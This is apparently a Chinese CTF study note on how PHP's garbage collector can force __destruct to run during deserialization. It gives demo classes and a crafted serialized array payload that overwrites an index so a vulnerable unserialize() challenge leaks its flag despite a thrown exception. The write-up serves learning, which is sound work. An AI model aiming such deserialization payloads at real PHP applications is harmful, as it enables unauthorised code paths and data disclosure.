序言 🔗
学反序列化的时候遇到PHP的回收机制,看过后老是忘记,所以决定写篇文章简单记录一下GC回收机制在ctf中的利用点。
什么是GC回收机制?
垃圾回收机制(Garbage Collector 简称GC),PHP的GC回收机制是一种自动内存管理机制,用于跟踪程序中不再使用的变量和对象,并释放它们所占用的内存空间。这一机制通过引用计数和标记-清除等算法来实现。引用计数是PHP GC回收机制的基础,每个PHP变量都有一个引用计数器,记录着该变量被引用的次数。当引用计数减少到零时,PHP的GC机制会认为该变量不再被使用,从而将其所占用的内存空间释放,GC回收机制可以通过修改PHP配置实现开启和关闭。
GC回收机制在PHP反序列化中的使用
GC如果在PHP反序列化中生效,那它就会直接触发_destruct
方法,这里结合ctf题目来学习
情况一:变量被unset函数处理
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $num;
public function __construct($num) {
$this->num = $num; echo $this->num."__construct"."</br>";
}
public function __destruct(){
echo $this->num."__destruct()"."</br>";
}
}
$a = new test(1);
unset($a);
$b = new test(2);
$c = new test(3);
可以看到第一个类的__destruct
被提前触发
情况二:对象为NULL
时也可以触发__destruct
<?php
show_source(__FILE__);
$flag = "flag";
class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a = unserialize($_GET['1']);
throw new Exception('你想干什么');
可以看到这里正常反序列化后是会抛出异常而不执行destruct的,但是通过修改反序列化内容可以绕过异常使得__destruct
被执行
首先引入数组进行反序列化
<?php
show_source(__FILE__);
class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a=array(new B,0);
echo serialize($a);
得到序列化内容:
此时将第二个索引置空,就可以触发GC回收机制,因此修改为:
a:2:{i:0;O:1:"B":0:{}i:0;i:0;}
尝试一下:
其实就是先将数组第一个索引指向对象,第二个索引指向0
,序列化后修改索引,实现覆盖,让对象变成NULL
,这样就成功触发GC回收机制使得destruct被执行。